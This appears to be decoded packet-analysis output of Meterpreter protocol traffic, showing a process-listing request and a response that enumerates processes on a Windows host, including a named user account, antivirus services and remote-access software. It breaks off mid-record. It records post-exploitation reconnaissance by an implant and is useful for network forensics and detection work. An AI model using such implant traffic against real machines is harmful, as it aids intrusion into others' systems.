Meterpreter protocol, TLV details
    Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023832363832323039373434313637313136... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 38323638323230393734343136373136373833323530303032... [Value] 82682209744167167832500202041645
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc000000000000001c... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000000000001c000104124e542041... [Value] ⍰⍰⍰�⍰⍰⍰⍰NT AUTHORITY\SYSTEM⍰⍰⍰�System Idle
Process⍰⍰⍰�System Idle Process
Meterpreter protocol, TLV details
    Data: 0000003e400008ff0000000c000208fc000000040000000c... [TLV]
    Command: 0x0000003e [Length]: 62
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000040000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰⍰⍰⍰⍰N/A⍰⍰⍰�System⍰⍰⍰�System
Meterpreter protocol, TLV details
    Data: 00000042400008ff0000000c000208fc000001700000000c... [TLV]
    Command: 0x00000042 [Length]: 66
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001700000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰p⍰⍰⍰⍰N/A⍰⍰⍰�smss.exe⍰⍰⍰�smss.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000002240000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002240000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰$⍰⍰⍰⍰N/A⍰⍰⍰�csrss.exe⍰⍰⍰�csrss.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002780000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰x⍰⍰⍰⍰N/A⍰⍰⍰�wininit.exe⍰⍰⍰�wininit.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000002fc0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002fc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�services.exe⍰⍰⍰�services.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000003040000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003040000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰⍰⍰⍰⍰⍰N/A⍰⍰⍰�lsass.exe⍰⍰⍰�lsass.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003a40000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003a40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000015c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000015c0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰\⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000001980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001980000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002740000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002740000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰t⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004240000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004240000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰$⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004640000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰d⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc0000047c0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000047c0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰|⍰⍰⍰⍰N/A⍰⍰⍰�WUDFHost.exe⍰⍰⍰�WUDFHost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004cc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004cc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000005640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005640000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰d⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006980000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000007940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000007940000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003780000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰x⍰⍰⍰⍰N/A⍰⍰⍰�spoolsv.exe⍰⍰⍰�spoolsv.exe
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc000008c40000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008c40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�armsvc.exe⍰⍰⍰�armsvc.exe
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc000008cc0000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008cc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�mDNSResponder.exe⍰⍰⍰�mDNSResponder.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc000008d40000000c... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008d40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A%⍰⍰�AppleMobileDeviceService.exe
%⍰⍰�AppleMobileDeviceService.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000091c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000091c0000000c000104124e2f4100... [Value] ⍰⍰⍰�	⍰⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004e400008ff0000000c000208fc000009300000000c... [TLV]
    Command: 0x0000004e [Length]: 78
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009300000000c000104124e2f4100... [Value] ⍰⍰⍰�	0⍰⍰⍰⍰N/A⍰⍰⍰�creator-ws.exe⍰⍰⍰�creator-ws.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009840000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009840000000c000104124e2f4100... [Value] ⍰⍰⍰�	�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009940000000c000104124e2f4100... [Value] ⍰⍰⍰�	�⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000099c0000000c... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000099c0000000c000104124e2f4100... [Value] □□□� �□□□□N/
A□□□�TeamViewer_Service.exe□□□�TeamViewer_Service.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009a80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009a80000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�MsMpEng.exe□□□�MsMpEng.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009e80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009e80000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�dasHost.exe□□□�dasHost.exe
Meterpreter protocol, TLV details
    Data: 00000056400008ff0000000c000208fc00000a900000000c... [TLV]
    Command: 0x00000056 [Length]: 86
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000a900000000c000104124e2f4100... [Value] □□□�
�□□□□N/A□□□�Memory Compression□□□�Memory Compression
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc00000e840000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e840000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�NisSrv.exe□□□�NisSrv.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc00000e080000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e080000000c000104124e2f4100... [Value] □□□�□□□□□□N/A□□□�csrss.exe□□□�csrss.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc00000f600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f600000000c000104124e2f4100... [Value] □□□�□`□□□□N/A□□□�winlogon.exe□□□�winlogon.exe
Meterpreter protocol, TLV details
    Data: 00000040400008ff0000000c000208fc000005f00000000c... [TLV]
    Command: 0x00000040 [Length]: 64
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005f00000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�dwm.exe□□□�dwm.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b6000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b60000000240001041273666370... [Value] □□□�□`$□□□sfcpro3-chemi\chemi-
usuario□□□�sihost.exe□□□�sihost.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00000d8000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000d80000000240001041273666370... [Value] □□□� �$□□□sfcpro3-chemi\chemi-
usuario□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00000bc000000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000bc0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�taskhostw.exe□□□�taskhostw.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000052c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000052c000000240001041273666370... [Value] □□□�□,$□□□sfcpro3-chemi\chemi-
usuario□□□�explorer.exe□□□�explorer.exe
Meterpreter protocol, TLV details
    Data: 0000006c400008ff0000000c000208fc000010bc00000024... [TLV]
    Command: 0x0000006c [Length]: 108
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000010bc000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�RuntimeBroker.exe□□□�RuntimeBroker.exe
Meterpreter protocol, TLV details
    Data: 00000078400008ff0000000c000208fc000017c000000024... [TLV]
    Command: 0x00000078 [Length]: 120
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017c0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-usuario
□□�ShellExperienceHost.exe □□�ShellExperienceHost.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000162400000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001624000000240001041273666370... [Value] □□□�□$$□□□sfcpro3-chemi\chemi-
usuario□□□�SearchUI.exe□□□�SearchUI.exe
```

```
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000188800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001888000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip.exe⍰⍰⍰�TabTip.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a1c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a1c000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip32.exe⍰⍰⍰�TabTip32.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000105000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001050000000240001041273666370... [Value] ⍰⍰⍰�⍰P$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�MSASCuiL.exe⍰⍰⍰�MSASCuiL.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc000019c800000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019c8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�OneDrive.exe⍰⍰⍰�OneDrive.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc00000de000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000de0000000240001041273666370... [Value] ⍰⍰⍰� �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc0000126400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001264000000240001041273666370... [Value] ⍰⍰⍰�⍰d$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�vspdfprsrv.exe⍰⍰⍰�vspdfprsrv.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc0000146000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001460000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000050400008ff0000000c000208fc000017800000000c... [TLV]
    Command: 0x00000050 [Length]: 80
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017800000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�fontdrvhost.exe⍰⍰⍰�fontdrvhost.exe
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc0000167800000024... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001678000000240001041273666370... [Value] ⍰⍰⍰�⍰x$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�LockAppHost.exe⍰⍰⍰�LockAppHost.exe
Meterpreter protocol, TLV details
    Data: 0000007a400008ff0000000c000208fc00000ecc00000024... [TLV]
    Command: 0x0000007a [Length]: 122
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000ecc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-usuario!⍰⍰
�ApplicationFrameHost.exe!⍰⍰�ApplicationFrameHost.exe
Meterpreter protocol, TLV details
    Data: 0000005a400008ff0000000c000208fc00001db40000000c... [TLV]
    Command: 0x0000005a [Length]: 90
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/
A⍰⍰⍰�OfficeClickToRun.exe⍰⍰⍰�OfficeClickToRun.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc0000049800000024... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000498000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�AppVShNotify.exe⍰⍰⍰�AppVShNotify.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a6000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a60000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�ONENOTEM.EXE⍰⍰⍰�ONENOTEM.EXE
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc00001a340000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a340000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰4⍰⍰⍰⍰N/A⍰⍰⍰�SearchIndexer.exe⍰⍰⍰�SearchIndexer.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00001cbc00000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001cbc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�SkypeHost.exe⍰⍰⍰�SkypeHost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000018600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�MpCmdRun.exe⍰⍰⍰�MpCmdRun.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc00000f0400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f04000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�VirtualBox.exe⍰⍰⍰�VirtualBox.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc0000124000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001240000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�VBoxSVC.exe⍰⍰⍰�VBoxSVC.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00001b9400000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001b94000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�WINWORD.EXE⍰⍰⍰�WINWORD.EXE
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001dc000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001dc0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000105c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000105c000000240001041273666370... [Value] ⍰⍰⍰�⍰\$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001e0800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001e08000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001d5000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001d50000000240001041273666370... [Value] ⍰⍰⍰�⍰P$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000165c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000165c000000240001041273666370... [Value] ⍰⍰⍰�⍰\$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c2c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c2c000000240001041273666370... [Value] ⍰⍰⍰�⍰,$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000da800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000da8000000240001041273666370... [Value] ⍰⍰⍰� �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014dc00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014dc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000114400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001144000000240001041273666370... [Value] ⍰⍰⍰�⍰D$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000102000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001020000000240001041273666370... [Value] ⍰⍰⍰�⍰ $⍰⍰⍰sfcpro3-chemi\chemi-
